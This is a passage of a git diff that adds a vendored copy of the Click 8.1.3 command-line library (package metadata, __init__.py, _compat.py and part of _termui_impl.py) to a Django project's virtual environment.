grow the community of contributors and users, and +allow the maintainers to devote more time to the projects, `please +donate today`_. + +.. _please donate today: https://palletsprojects.com/donate + + +Links +----- + +- Documentation: https://click.palletsprojects.com/ +- Changes: https://click.palletsprojects.com/changes/ +- PyPI Releases: https://pypi.org/project/click/ +- Source Code: https://github.com/pallets/click +- Issue Tracker: https://github.com/pallets/click/issues +- Website: https://palletsprojects.com/p/click +- Twitter: https://twitter.com/PalletsTeam +- Chat: https://discord.gg/pallets + + diff --git a/django_lottopy/lib/python3.10/site-packages/click-8.1.3.dist-info/RECORD b/django_lottopy/lib/python3.10/site-packages/click-8.1.3.dist-info/RECORD new file mode 100644 index 00000000..67ff862a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click-8.1.3.dist-info/RECORD @@ -0,0 +1,39 @@ +click-8.1.3.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +click-8.1.3.dist-info/LICENSE.rst,sha256=morRBqOU6FO_4h9C9OctWSgZoigF2ZG18ydQKSkrZY0,1475 +click-8.1.3.dist-info/METADATA,sha256=tFJIX5lOjx7c5LjZbdTPFVDJSgyv9F74XY0XCPp_gnc,3247 +click-8.1.3.dist-info/RECORD,, +click-8.1.3.dist-info/WHEEL,sha256=G16H4A3IeoQmnOrYV4ueZGKSjhipXx8zc8nu9FGlvMA,92 +click-8.1.3.dist-info/top_level.txt,sha256=J1ZQogalYS4pphY_lPECoNMfw0HzTSrZglC4Yfwo4xA,6 +click/__init__.py,sha256=rQBLutqg-z6m8nOzivIfigDn_emijB_dKv9BZ2FNi5s,3138 +click/__pycache__/__init__.cpython-310.pyc,, +click/__pycache__/_compat.cpython-310.pyc,, +click/__pycache__/_termui_impl.cpython-310.pyc,, +click/__pycache__/_textwrap.cpython-310.pyc,, +click/__pycache__/_winconsole.cpython-310.pyc,, +click/__pycache__/core.cpython-310.pyc,, +click/__pycache__/decorators.cpython-310.pyc,, +click/__pycache__/exceptions.cpython-310.pyc,, +click/__pycache__/formatting.cpython-310.pyc,, +click/__pycache__/globals.cpython-310.pyc,, +click/__pycache__/parser.cpython-310.pyc,, +click/__pycache__/shell_completion.cpython-310.pyc,, +click/__pycache__/termui.cpython-310.pyc,, +click/__pycache__/testing.cpython-310.pyc,, +click/__pycache__/types.cpython-310.pyc,, +click/__pycache__/utils.cpython-310.pyc,, +click/_compat.py,sha256=JIHLYs7Jzz4KT9t-ds4o4jBzLjnwCiJQKqur-5iwCKI,18810 +click/_termui_impl.py,sha256=qK6Cfy4mRFxvxE8dya8RBhLpSC8HjF-lvBc6aNrPdwg,23451 +click/_textwrap.py,sha256=10fQ64OcBUMuK7mFvh8363_uoOxPlRItZBmKzRJDgoY,1353 +click/_winconsole.py,sha256=5ju3jQkcZD0W27WEMGqmEP4y_crUVzPCqsX_FYb7BO0,7860 +click/core.py,sha256=mz87bYEKzIoNYEa56BFAiOJnvt1Y0L-i7wD4_ZecieE,112782 +click/decorators.py,sha256=yo3zvzgUm5q7h5CXjyV6q3h_PJAiUaem178zXwdWUFI,16350 +click/exceptions.py,sha256=7gDaLGuFZBeCNwY9ERMsF2-Z3R9Fvq09Zc6IZSKjseo,9167 +click/formatting.py,sha256=Frf0-5W33-loyY_i9qrwXR8-STnW3m5gvyxLVUdyxyk,9706 +click/globals.py,sha256=TP-qM88STzc7f127h35TD_v920FgfOD2EwzqA0oE8XU,1961 +click/parser.py,sha256=cAEt1uQR8gq3-S9ysqbVU-fdAZNvilxw4ReJ_T1OQMk,19044 +click/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 +click/shell_completion.py,sha256=qOp_BeC9esEOSZKyu5G7RIxEUaLsXUX-mTb7hB1r4QY,18018 +click/termui.py,sha256=ACBQVOvFCTSqtD5VREeCAdRtlHd-Imla-Lte4wSfMjA,28355 +click/testing.py,sha256=ptpMYgRY7dVfE3UDgkgwayu9ePw98sQI3D7zZXiCpj4,16063 +click/types.py,sha256=rEb1aZSQKq3ciCMmjpG2Uva9vk498XRL7ThrcK2GRss,35805 +click/utils.py,sha256=33D6E7poH_nrKB-xr-UyDEXnxOcCiQqxuRLtrqeVv6o,18682 diff --git a/django_lottopy/lib/python3.10/site-packages/click-8.1.3.dist-info/WHEEL b/django_lottopy/lib/python3.10/site-packages/click-8.1.3.dist-info/WHEEL new file mode 100644 index 00000000..becc9a66 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click-8.1.3.dist-info/WHEEL @@ -0,0 +1,5 @@ +Wheel-Version: 1.0 +Generator: bdist_wheel (0.37.1) +Root-Is-Purelib: true +Tag: py3-none-any + diff --git a/django_lottopy/lib/python3.10/site-packages/click-8.1.3.dist-info/top_level.txt b/django_lottopy/lib/python3.10/site-packages/click-8.1.3.dist-info/top_level.txt new file mode 100644 index 00000000..dca9a909 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click-8.1.3.dist-info/top_level.txt @@ -0,0 +1 @@ +click diff --git a/django_lottopy/lib/python3.10/site-packages/click/__init__.py b/django_lottopy/lib/python3.10/site-packages/click/__init__.py new file mode 100644 index 00000000..e3ef423b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/__init__.py @@ -0,0 +1,73 @@ +""" +Click is a simple Python module inspired by the stdlib optparse to make +writing command line scripts fun. Unlike other modules, it's based +around a simple API that does not come with too much magic and is +composable. +""" +from .core import Argument as Argument +from .core import BaseCommand as BaseCommand +from .core import Command as Command +from .core import CommandCollection as CommandCollection +from .core import Context as Context +from .core import Group as Group +from .core import MultiCommand as MultiCommand +from .core import Option as Option +from .core import Parameter as Parameter +from .decorators import argument as argument +from .decorators import command as command +from .decorators import confirmation_option as confirmation_option +from .decorators import group as group +from .decorators import help_option as help_option +from .decorators import make_pass_decorator as make_pass_decorator +from .decorators import option as option +from .decorators import pass_context as pass_context +from .decorators import pass_obj as pass_obj +from .decorators import password_option as password_option +from .decorators import version_option as version_option +from .exceptions import Abort as Abort +from .exceptions import BadArgumentUsage as BadArgumentUsage +from .exceptions import BadOptionUsage as BadOptionUsage +from .exceptions import BadParameter as BadParameter +from .exceptions import ClickException as ClickException +from .exceptions import FileError as FileError +from .exceptions import MissingParameter as MissingParameter +from .exceptions import NoSuchOption as NoSuchOption +from .exceptions import UsageError as UsageError +from .formatting import HelpFormatter as HelpFormatter +from .formatting import wrap_text as wrap_text +from .globals import get_current_context as get_current_context +from .parser import OptionParser as OptionParser +from .termui import clear as clear +from .termui import confirm as confirm +from .termui import echo_via_pager as echo_via_pager +from .termui import edit as edit +from .termui import getchar as getchar +from .termui import launch as launch +from .termui import pause as pause +from .termui import progressbar as progressbar +from .termui import prompt as prompt +from .termui import secho as secho +from .termui import style as style +from .termui import unstyle as unstyle +from .types import BOOL as BOOL +from .types import Choice as Choice +from .types import DateTime as DateTime +from .types import File as File +from .types import FLOAT as FLOAT +from .types import FloatRange as FloatRange +from .types import INT as INT +from .types import IntRange as IntRange +from .types import ParamType as ParamType +from .types import Path as Path +from .types import STRING as STRING +from .types import Tuple as Tuple +from .types import UNPROCESSED as UNPROCESSED +from .types import UUID as UUID +from .utils import echo as echo +from .utils import format_filename as format_filename +from .utils import get_app_dir as get_app_dir +from .utils import get_binary_stream as get_binary_stream +from .utils import get_text_stream as get_text_stream +from .utils import open_file as open_file + +__version__ = "8.1.3" diff --git a/django_lottopy/lib/python3.10/site-packages/click/_compat.py b/django_lottopy/lib/python3.10/site-packages/click/_compat.py new file mode 100644 index 00000000..766d286b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/_compat.py @@ -0,0 +1,626 @@ +import codecs +import io +import os +import re +import sys +import typing as t +from weakref import WeakKeyDictionary + +CYGWIN = sys.platform.startswith("cygwin") +MSYS2 = sys.platform.startswith("win") and ("GCC" in sys.version) +# Determine local App Engine environment, per Google's own suggestion +APP_ENGINE = "APPENGINE_RUNTIME" in os.environ and "Development/" in os.environ.get( + "SERVER_SOFTWARE", "" +) +WIN = sys.platform.startswith("win") and not APP_ENGINE and not MSYS2 +auto_wrap_for_ansi: t.Optional[t.Callable[[t.TextIO], t.TextIO]] = None +_ansi_re = re.compile(r"\033\[[;?0-9]*[a-zA-Z]") + + +def get_filesystem_encoding() -> str: + return sys.getfilesystemencoding() or sys.getdefaultencoding() + + +def _make_text_stream( + stream: t.BinaryIO, + encoding: t.Optional[str], + errors: t.Optional[str], + force_readable: bool = False, + force_writable: bool = False, +) -> t.TextIO: + if encoding is None: + encoding = get_best_encoding(stream) + if errors is None: + errors = "replace" + return _NonClosingTextIOWrapper( + stream, + encoding, + errors, + line_buffering=True, + force_readable=force_readable, + force_writable=force_writable, + ) + + +def is_ascii_encoding(encoding: str) -> bool: + """Checks if a given encoding is ascii.""" + try: + return codecs.lookup(encoding).name == "ascii" + except LookupError: + return False + + +def get_best_encoding(stream: t.IO) -> str: + """Returns the default stream encoding if not found.""" + rv = getattr(stream, "encoding", None) or sys.getdefaultencoding() + if is_ascii_encoding(rv): + return "utf-8" + return rv + + +class _NonClosingTextIOWrapper(io.TextIOWrapper): + def __init__( + self, + stream: t.BinaryIO, + encoding: t.Optional[str], + errors: t.Optional[str], + force_readable: bool = False, + force_writable: bool = False, + **extra: t.Any, + ) -> None: + self._stream = stream = t.cast( + t.BinaryIO, _FixupStream(stream, force_readable, force_writable) + ) + super().__init__(stream, encoding, errors, **extra) + + def __del__(self) -> None: + try: + self.detach() + except Exception: + pass + + def isatty(self) -> bool: + # https://bitbucket.org/pypy/pypy/issue/1803 + return self._stream.isatty() + + +class _FixupStream: + """The new io interface needs more from streams than streams + traditionally implement. As such, this fix-up code is necessary in + some circumstances. + + The forcing of readable and writable flags are there because some tools + put badly patched objects on sys (one such offender are certain version + of jupyter notebook). + """ + + def __init__( + self, + stream: t.BinaryIO, + force_readable: bool = False, + force_writable: bool = False, + ): + self._stream = stream + self._force_readable = force_readable + self._force_writable = force_writable + + def __getattr__(self, name: str) -> t.Any: + return getattr(self._stream, name) + + def read1(self, size: int) -> bytes: + f = getattr(self._stream, "read1", None) + + if f is not None: + return t.cast(bytes, f(size)) + + return self._stream.read(size) + + def readable(self) -> bool: + if self._force_readable: + return True + x = getattr(self._stream, "readable", None) + if x is not None: + return t.cast(bool, x()) + try: + self._stream.read(0) + except Exception: + return False + return True + + def writable(self) -> bool: + if self._force_writable: + return True + x = getattr(self._stream, "writable", None) + if x is not None: + return t.cast(bool, x()) + try: + self._stream.write("") # type: ignore + except Exception: + try: + self._stream.write(b"") + except Exception: + return False + return True + + def seekable(self) -> bool: + x = getattr(self._stream, "seekable", None) + if x is not None: + return t.cast(bool, x()) + try: + self._stream.seek(self._stream.tell()) + except Exception: + return False + return True + + +def _is_binary_reader(stream: t.IO, default: bool = False) -> bool: + try: + return isinstance(stream.read(0), bytes) + except Exception: + return default + # This happens in some cases where the stream was already + # closed. In this case, we assume the default. + + +def _is_binary_writer(stream: t.IO, default: bool = False) -> bool: + try: + stream.write(b"") + except Exception: + try: + stream.write("") + return False + except Exception: + pass + return default + return True + + +def _find_binary_reader(stream: t.IO) -> t.Optional[t.BinaryIO]: + # We need to figure out if the given stream is already binary. + # This can happen because the official docs recommend detaching + # the streams to get binary streams. Some code might do this, so + # we need to deal with this case explicitly. + if _is_binary_reader(stream, False): + return t.cast(t.BinaryIO, stream) + + buf = getattr(stream, "buffer", None) + + # Same situation here; this time we assume that the buffer is + # actually binary in case it's closed. + if buf is not None and _is_binary_reader(buf, True): + return t.cast(t.BinaryIO, buf) + + return None + + +def _find_binary_writer(stream: t.IO) -> t.Optional[t.BinaryIO]: + # We need to figure out if the given stream is already binary. + # This can happen because the official docs recommend detaching + # the streams to get binary streams. Some code might do this, so + # we need to deal with this case explicitly. + if _is_binary_writer(stream, False): + return t.cast(t.BinaryIO, stream) + + buf = getattr(stream, "buffer", None) + + # Same situation here; this time we assume that the buffer is + # actually binary in case it's closed. + if buf is not None and _is_binary_writer(buf, True): + return t.cast(t.BinaryIO, buf) + + return None + + +def _stream_is_misconfigured(stream: t.TextIO) -> bool: + """A stream is misconfigured if its encoding is ASCII.""" + # If the stream does not have an encoding set, we assume it's set + # to ASCII. This appears to happen in certain unittest + # environments. It's not quite clear what the correct behavior is + # but this at least will force Click to recover somehow. + return is_ascii_encoding(getattr(stream, "encoding", None) or "ascii") + + +def _is_compat_stream_attr(stream: t.TextIO, attr: str, value: t.Optional[str]) -> bool: + """A stream attribute is compatible if it is equal to the + desired value or the desired value is unset and the attribute + has a value. + """ + stream_value = getattr(stream, attr, None) + return stream_value == value or (value is None and stream_value is not None) + + +def _is_compatible_text_stream( + stream: t.TextIO, encoding: t.Optional[str], errors: t.Optional[str] +) -> bool: + """Check if a stream's encoding and errors attributes are + compatible with the desired values. + """ + return _is_compat_stream_attr( + stream, "encoding", encoding + ) and _is_compat_stream_attr(stream, "errors", errors) + + +def _force_correct_text_stream( + text_stream: t.IO, + encoding: t.Optional[str], + errors: t.Optional[str], + is_binary: t.Callable[[t.IO, bool], bool], + find_binary: t.Callable[[t.IO], t.Optional[t.BinaryIO]], + force_readable: bool = False, + force_writable: bool = False, +) -> t.TextIO: + if is_binary(text_stream, False): + binary_reader = t.cast(t.BinaryIO, text_stream) + else: + text_stream = t.cast(t.TextIO, text_stream) + # If the stream looks compatible, and won't default to a + # misconfigured ascii encoding, return it as-is. + if _is_compatible_text_stream(text_stream, encoding, errors) and not ( + encoding is None and _stream_is_misconfigured(text_stream) + ): + return text_stream + + # Otherwise, get the underlying binary reader. + possible_binary_reader = find_binary(text_stream) + + # If that's not possible, silently use the original reader + # and get mojibake instead of exceptions. + if possible_binary_reader is None: + return text_stream + + binary_reader = possible_binary_reader + + # Default errors to replace instead of strict in order to get + # something that works. + if errors is None: + errors = "replace" + + # Wrap the binary stream in a text stream with the correct + # encoding parameters. + return _make_text_stream( + binary_reader, + encoding, + errors, + force_readable=force_readable, + force_writable=force_writable, + ) + + +def _force_correct_text_reader( + text_reader: t.IO, + encoding: t.Optional[str], + errors: t.Optional[str], + force_readable: bool = False, +) -> t.TextIO: + return _force_correct_text_stream( + text_reader, + encoding, + errors, + _is_binary_reader, + _find_binary_reader, + force_readable=force_readable, + ) + + +def _force_correct_text_writer( + text_writer: t.IO, + encoding: t.Optional[str], + errors: t.Optional[str], + force_writable: bool = False, +) -> t.TextIO: + return _force_correct_text_stream( + text_writer, + encoding, + errors, + _is_binary_writer, + _find_binary_writer, + force_writable=force_writable, + ) + + +def get_binary_stdin() -> t.BinaryIO: + reader = _find_binary_reader(sys.stdin) + if reader is None: + raise RuntimeError("Was not able to determine binary stream for sys.stdin.") + return reader + + +def get_binary_stdout() -> t.BinaryIO: + writer = _find_binary_writer(sys.stdout) + if writer is None: + raise RuntimeError("Was not able to determine binary stream for sys.stdout.") + return writer + + +def get_binary_stderr() -> t.BinaryIO: + writer = _find_binary_writer(sys.stderr) + if writer is None: + raise RuntimeError("Was not able to determine binary stream for sys.stderr.") + return writer + + +def get_text_stdin( + encoding: t.Optional[str] = None, errors: t.Optional[str] = None +) -> t.TextIO: + rv = _get_windows_console_stream(sys.stdin, encoding, errors) + if rv is not None: + return rv + return _force_correct_text_reader(sys.stdin, encoding, errors, force_readable=True) + + +def get_text_stdout( + encoding: t.Optional[str] = None, errors: t.Optional[str] = None +) -> t.TextIO: + rv = _get_windows_console_stream(sys.stdout, encoding, errors) + if rv is not None: + return rv + return _force_correct_text_writer(sys.stdout, encoding, errors, force_writable=True) + + +def get_text_stderr( + encoding: t.Optional[str] = None, errors: t.Optional[str] = None +) -> t.TextIO: + rv = _get_windows_console_stream(sys.stderr, encoding, errors) + if rv is not None: + return rv + return _force_correct_text_writer(sys.stderr, encoding, errors, force_writable=True) + + +def _wrap_io_open( + file: t.Union[str, os.PathLike, int], + mode: str, + encoding: t.Optional[str], + errors: t.Optional[str], +) -> t.IO: + """Handles not passing ``encoding`` and ``errors`` in binary mode.""" + if "b" in mode: + return open(file, mode) + + return open(file, mode, encoding=encoding, errors=errors) + + +def open_stream( + filename: str, + mode: str = "r", + encoding: t.Optional[str] = None, + errors: t.Optional[str] = "strict", + atomic: bool = False, +) -> t.Tuple[t.IO, bool]: + binary = "b" in mode + + # Standard streams first. These are simple because they ignore the + # atomic flag. Use fsdecode to handle Path("-"). + if os.fsdecode(filename) == "-": + if any(m in mode for m in ["w", "a", "x"]): + if binary: + return get_binary_stdout(), False + return get_text_stdout(encoding=encoding, errors=errors), False + if binary: + return get_binary_stdin(), False + return get_text_stdin(encoding=encoding, errors=errors), False + + # Non-atomic writes directly go out through the regular open functions. + if not atomic: + return _wrap_io_open(filename, mode, encoding, errors), True + + # Some usability stuff for atomic writes + if "a" in mode: + raise ValueError( + "Appending to an existing file is not supported, because that" + " would involve an expensive `copy`-operation to a temporary" + " file. Open the file in normal `w`-mode and copy explicitly" + " if that's what you're after." + ) + if "x" in mode: + raise ValueError("Use the `overwrite`-parameter instead.") + if "w" not in mode: + raise ValueError("Atomic writes only make sense with `w`-mode.") + + # Atomic writes are more complicated. They work by opening a file + # as a proxy in the same folder and then using the fdopen + # functionality to wrap it in a Python file. Then we wrap it in an + # atomic file that moves the file over on close. + import errno + import random + + try: + perm: t.Optional[int] = os.stat(filename).st_mode + except OSError: + perm = None + + flags = os.O_RDWR | os.O_CREAT | os.O_EXCL + + if binary: + flags |= getattr(os, "O_BINARY", 0) + + while True: + tmp_filename = os.path.join( + os.path.dirname(filename), + f".__atomic-write{random.randrange(1 << 32):08x}", + ) + try: + fd = os.open(tmp_filename, flags, 0o666 if perm is None else perm) + break + except OSError as e: + if e.errno == errno.EEXIST or ( + os.name == "nt" + and e.errno == errno.EACCES + and os.path.isdir(e.filename) + and os.access(e.filename, os.W_OK) + ): + continue + raise + + if perm is not None: + os.chmod(tmp_filename, perm) # in case perm includes bits in umask + + f = _wrap_io_open(fd, mode, encoding, errors) + af = _AtomicFile(f, tmp_filename, os.path.realpath(filename)) + return t.cast(t.IO, af), True + + +class _AtomicFile: + def __init__(self, f: t.IO, tmp_filename: str, real_filename: str) -> None: + self._f = f + self._tmp_filename = tmp_filename + self._real_filename = real_filename + self.closed = False + + @property + def name(self) -> str: + return self._real_filename + + def close(self, delete: bool = False) -> None: + if self.closed: + return + self._f.close() + os.replace(self._tmp_filename, self._real_filename) + self.closed = True + + def __getattr__(self, name: str) -> t.Any: + return getattr(self._f, name) + + def __enter__(self) -> "_AtomicFile": + return self + + def __exit__(self, exc_type, exc_value, tb): # type: ignore + self.close(delete=exc_type is not None) + + def __repr__(self) -> str: + return repr(self._f) + + +def strip_ansi(value: str) -> str: + return _ansi_re.sub("", value) + + +def _is_jupyter_kernel_output(stream: t.IO) -> bool: + while isinstance(stream, (_FixupStream, _NonClosingTextIOWrapper)): + stream = stream._stream + + return stream.__class__.__module__.startswith("ipykernel.") + + +def should_strip_ansi( + stream: t.Optional[t.IO] = None, color: t.Optional[bool] = None +) -> bool: + if color is None: + if stream is None: + stream = sys.stdin + return not isatty(stream) and not _is_jupyter_kernel_output(stream) + return not color + + +# On Windows, wrap the output streams with colorama to support ANSI +# color codes. +# NOTE: double check is needed so mypy does not analyze this on Linux +if sys.platform.startswith("win") and WIN: + from ._winconsole import _get_windows_console_stream + + def _get_argv_encoding() -> str: + import locale + + return locale.getpreferredencoding() + + _ansi_stream_wrappers: t.MutableMapping[t.TextIO, t.TextIO] = WeakKeyDictionary() + + def auto_wrap_for_ansi( + stream: t.TextIO, color: t.Optional[bool] = None + ) -> t.TextIO: + """Support ANSI color and style codes on Windows by wrapping a + stream with colorama. + """ + try: + cached = _ansi_stream_wrappers.get(stream) + except Exception: + cached = None + + if cached is not None: + return cached + + import colorama + + strip = should_strip_ansi(stream, color) + ansi_wrapper = colorama.AnsiToWin32(stream, strip=strip) + rv = t.cast(t.TextIO, ansi_wrapper.stream) + _write = rv.write + + def _safe_write(s): + try: + return _write(s) + except BaseException: + ansi_wrapper.reset_all() + raise + + rv.write = _safe_write + + try: + _ansi_stream_wrappers[stream] = rv + except Exception: + pass + + return rv + +else: + + def _get_argv_encoding() -> str: + return getattr(sys.stdin, "encoding", None) or get_filesystem_encoding() + + def _get_windows_console_stream( + f: t.TextIO, encoding: t.Optional[str], errors: t.Optional[str] + ) -> t.Optional[t.TextIO]: + return None + + +def term_len(x: str) -> int: + return len(strip_ansi(x)) + + +def isatty(stream: t.IO) -> bool: + try: + return stream.isatty() + except Exception: + return False + + +def _make_cached_stream_func( + src_func: t.Callable[[], t.TextIO], wrapper_func: t.Callable[[], t.TextIO] +) -> t.Callable[[], t.TextIO]: + cache: t.MutableMapping[t.TextIO, t.TextIO] = WeakKeyDictionary() + + def func() -> t.TextIO: + stream = src_func() + try: + rv = cache.get(stream) + except Exception: + rv = None + if rv is not None: + return rv + rv = wrapper_func() + try: + cache[stream] = rv + except Exception: + pass + return rv + + return func + + +_default_text_stdin = _make_cached_stream_func(lambda: sys.stdin, get_text_stdin) +_default_text_stdout = _make_cached_stream_func(lambda: sys.stdout, get_text_stdout) +_default_text_stderr = _make_cached_stream_func(lambda: sys.stderr, get_text_stderr) + + +binary_streams: t.Mapping[str, t.Callable[[], t.BinaryIO]] = { + "stdin": get_binary_stdin, + "stdout": get_binary_stdout, + "stderr": get_binary_stderr, +} + +text_streams: t.Mapping[ + str, t.Callable[[t.Optional[str], t.Optional[str]], t.TextIO] +] = { + "stdin": get_text_stdin, + "stdout": get_text_stdout, + "stderr": get_text_stderr, +} diff --git a/django_lottopy/lib/python3.10/site-packages/click/_termui_impl.py b/django_lottopy/lib/python3.10/site-packages/click/_termui_impl.py new file mode 100644 index 00000000..4b979bcc --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/_termui_impl.py @@ -0,0 +1,717 @@ +""" +This module contains implementations for the termui module. To keep the +import time of Click down, some infrequently used functionality is +placed in this module and only imported as needed. +""" +import contextlib +import math +import os +import sys +import time +import typing as t +from gettext import gettext as _ + +from ._compat import _default_text_stdout +from ._compat import CYGWIN +from ._compat import get_best_encoding +from ._compat import isatty +from ._compat import open_stream +from ._compat import strip_ansi +from ._compat import term_len +from ._compat import WIN +from .exceptions import ClickException +from .utils import echo + +V = t.TypeVar("V") + +if os.name == "nt": + BEFORE_BAR = "\r" + AFTER_BAR = "\n" +else: + BEFORE_BAR = "\r\033[?25l" + AFTER_BAR = "\033[?25h\n" + + +class ProgressBar(t.Generic[V]): + def __init__( + self, + iterable: t.Optional[t.Iterable[V]], + length: t.Optional[int] = None, + fill_char: str = "#", + empty_char: str = " ", + bar_template: str = "%(bar)s", + info_sep: str = " ", + show_eta: bool = True, + show_percent: t.Optional[bool] = None, + show_pos: bool = False, + item_show_func: t.Optional[t.Callable[[t.Optional[V]], t.Optional[str]]] = None, + label: t.Optional[str] = None, + file: t.Optional[t.TextIO] = None, + color: t.Optional[bool] = None, + update_min_steps: int = 1, + width: int = 30, + ) -> None: + self.fill_char = fill_char + self.empty_char = empty_char + self.bar_template = bar_template + self.info_sep = info_sep + self.show_eta = show_eta + self.show_percent = show_percent + self.show_pos = show_pos + self.item_show_func = item_show_func + self.label = label or "" + if file is None: + file = _default_text_stdout() + self.file = file + self.color = color + self.update_min_steps = update_min_steps + self._completed_intervals = 0 + self.width = width + self.autowidth = width == 0 + + if length is None: + from operator import length_hint + + length = length_hint(iterable, -1) + + if length == -1: + length = None + if iterable is None: + if length is None: + raise TypeError("iterable or length is required") + iterable = t.cast(t.Iterable[V], range(length)) + self.iter = iter(iterable) + self.length = length + self.pos = 0 + self.avg: t.List[float] = [] + self.start = self.last_eta = time.time() + self.eta_known = False + self.finished = False + self.max_width: t.Optional[int] = None + self.entered = False + self.current_item: t.Optional[V] = None + self.is_hidden = not isatty(self.file) + self._last_line: t.Optional[str] = None + + def __enter__(self) -> "ProgressBar": + self.entered = True + self.render_progress() + return self + + def __exit__(self, exc_type, exc_value, tb): # type: ignore + self.render_finish() + + def __iter__(self) -> t.Iterator[V]: + if not self.entered: + raise RuntimeError("You need to use progress bars in a with block.") + self.render_progress() + return self.generator() + + def __next__(self) -> V: + # Iteration is defined in terms of a generator function, + # returned by iter(self); use that to define next(). This works + # because `self.iter` is an iterable consumed by that generator, + # so it is re-entry safe. Calling `next(self.generator())` + # twice works and does "what you want". + return next(iter(self)) + + def render_finish(self) -> None: + if self.is_hidden: + return + self.file.write(AFTER_BAR) + self.file.flush() + + @property + def pct(self) -> float: + if self.finished: + return 1.0 + return min(self.pos / (float(self.length or 1) or 1), 1.0) + + @property + def time_per_iteration(self) -> float: + if not self.avg: + return 0.0 + return sum(self.avg) / float(len(self.avg)) + + @property + def eta(self) -> float: + if self.length is not None and not self.finished: + return self.time_per_iteration * (self.length - self.pos) + return 0.0 + + def format_eta(self) -> str: + if self.eta_known: + t = int(self.eta) + seconds = t % 60 + t //= 60 + minutes = t % 60 + t //= 60 + hours = t % 24 + t //= 24 + if t > 0: + return f"{t}d {hours:02}:{minutes:02}:{seconds:02}" + else: + return f"{hours:02}:{minutes:02}:{seconds:02}" + return "" + + def format_pos(self) -> str: + pos = str(self.pos) + if self.length is not None: + pos += f"/{self.length}" + return pos + + def format_pct(self) -> str: + return f"{int(self.pct * 100): 4}%"[1:] + + def format_bar(self) -> str: + if self.length is not None: + bar_length = int(self.pct * self.width) + bar = self.fill_char * bar_length + bar += self.empty_char * (self.width - bar_length) + elif self.finished: + bar = self.fill_char * self.width + else: + chars = list(self.empty_char * (self.width or 1)) + if self.time_per_iteration != 0: + chars[ + int( + (math.cos(self.pos * self.time_per_iteration) / 2.0 + 0.5) + * self.width + ) + ] = self.fill_char + bar = "".join(chars) + return bar + + def format_progress_line(self) -> str: + show_percent = self.show_percent + + info_bits = [] + if self.length is not None and show_percent is None: + show_percent = not self.show_pos + + if self.show_pos: + info_bits.append(self.format_pos()) + if show_percent: + info_bits.append(self.format_pct()) + if self.show_eta and self.eta_known and not self.finished: + info_bits.append(self.format_eta()) + if self.item_show_func is not None: + item_info = self.item_show_func(self.current_item) + if item_info is not None: + info_bits.append(item_info) + + return ( + self.bar_template + % { + "label": self.label, + "bar": self.format_bar(), + "info": self.info_sep.join(info_bits), + } + ).rstrip() + + def render_progress(self) -> None: + import shutil + + if self.is_hidden: + # Only output the label as it changes if the output is not a + # TTY. Use file=stderr if you expect to be piping stdout. + if self._last_line != self.label: + self._last_line = self.label + echo(self.label, file=self.file, color=self.color) + + return + + buf = [] + # Update width in case the terminal has been resized + if self.autowidth: + old_width = self.width + self.width = 0 + clutter_length = term_len(self.format_progress_line()) + new_width = max(0, shutil.get_terminal_size().columns - clutter_length) + if new_width < old_width: + buf.append(BEFORE_BAR) + buf.append(" " * self.max_width) # type: ignore + self.max_width = new_width + self.width = new_width + + clear_width = self.width + if self.max_width is not None: + clear_width = self.max_width + + buf.append(BEFORE_BAR) + line = self.format_progress_line() + line_len = term_len(line) + if self.max_width is None or self.max_width < line_len: + self.max_width = line_len + + buf.append(line) + buf.append(" " * (clear_width - line_len)) + line = "".join(buf) + # Render the line only if it changed. + + if line != self._last_line: + self._last_line = line + echo(line, file=self.file, color=self.color, nl=False) + self.file.flush() + + def make_step(self, n_steps: int) -> None: + self.pos += n_steps + if self.length is not None and self.pos >= self.length: + self.finished = True + + if (time.time() - self.last_eta) < 1.0: + return + + self.last_eta = time.time() + + # self.avg is a rolling list of length <= 7 of steps where steps are + # defined as time elapsed divided by the total progress through + # self.length. + if self.pos: + step = (time.time() - self.start) / self.pos + else: + step = time.time() - self.start + + self.avg = self.avg[-6:] + [step] + + self.eta_known = self.length is not None + + def update(self, n_steps: int, current_item: t.Optional[V] = None) -> None: + """Update the progress bar by advancing a specified number of + steps, and optionally set the ``current_item`` for this new + position. + + :param n_steps: Number of steps to advance. + :param current_item: Optional item to set as ``current_item`` + for the updated position. + + .. versionchanged:: 8.0 + Added the ``current_item`` optional parameter. + + .. versionchanged:: 8.0 + Only render when the number of steps meets the + ``update_min_steps`` threshold. + """ + if current_item is not None: + self.current_item = current_item + + self._completed_intervals += n_steps + + if self._completed_intervals >= self.update_min_steps: + self.make_step(self._completed_intervals) + self.render_progress() + self._completed_intervals = 0 + + def finish(self) -> None: + self.eta_known = False + self.current_item = None + self.finished = True + + def generator(self) -> t.Iterator[V]: + """Return a generator which yields the items added to the bar + during construction, and updates the progress bar *after* the + yielded block returns. + """ + # WARNING: the iterator interface for `ProgressBar` relies on + # this and only works because this is a simple generator which + # doesn't create or manage additional state. If this function + # changes, the impact should be evaluated both against + # `iter(bar)` and `next(bar)`. `next()` in particular may call + # `self.generator()` repeatedly, and this must remain safe in + # order for that interface to work. + if not self.entered: + raise RuntimeError("You need to use progress bars in a with block.") + + if self.is_hidden: + yield from self.iter + else: + for rv in self.iter: + self.current_item = rv + + # This allows show_item_func to be updated before the + # item is processed. Only trigger at the beginning of + # the update interval. + if self._completed_intervals == 0: + self.render_progress() + + yield rv + self.update(1) + + self.finish() + self.render_progress() + + +def pager(generator: t.Iterable[str], color: t.Optional[bool] = None) -> None: + """Decide what method to use for paging through text.""" + stdout = _default_text_stdout() + if not isatty(sys.stdin) or not isatty(stdout): + return _nullpager(stdout, generator, color) + pager_cmd = (os.environ.get("PAGER", None) or "").strip() + if pager_cmd: + if WIN: + return _tempfilepager(generator, pager_cmd, color) + return _pipepager(generator, pager_cmd, color) + if os.environ.get("TERM") in ("dumb", "emacs"): + return _nullpager(stdout, generator, color) + if WIN or sys.platform.startswith("os2"): + return _tempfilepager(generator, "more <", color) + if hasattr(os, "system") and os.system("(less) 2>/dev/null") == 0: + return _pipepager(generator, "less", color) + + import tempfile + + fd, filename = tempfile.mkstemp() + os.close(fd) + try: + if hasattr(os, "system") 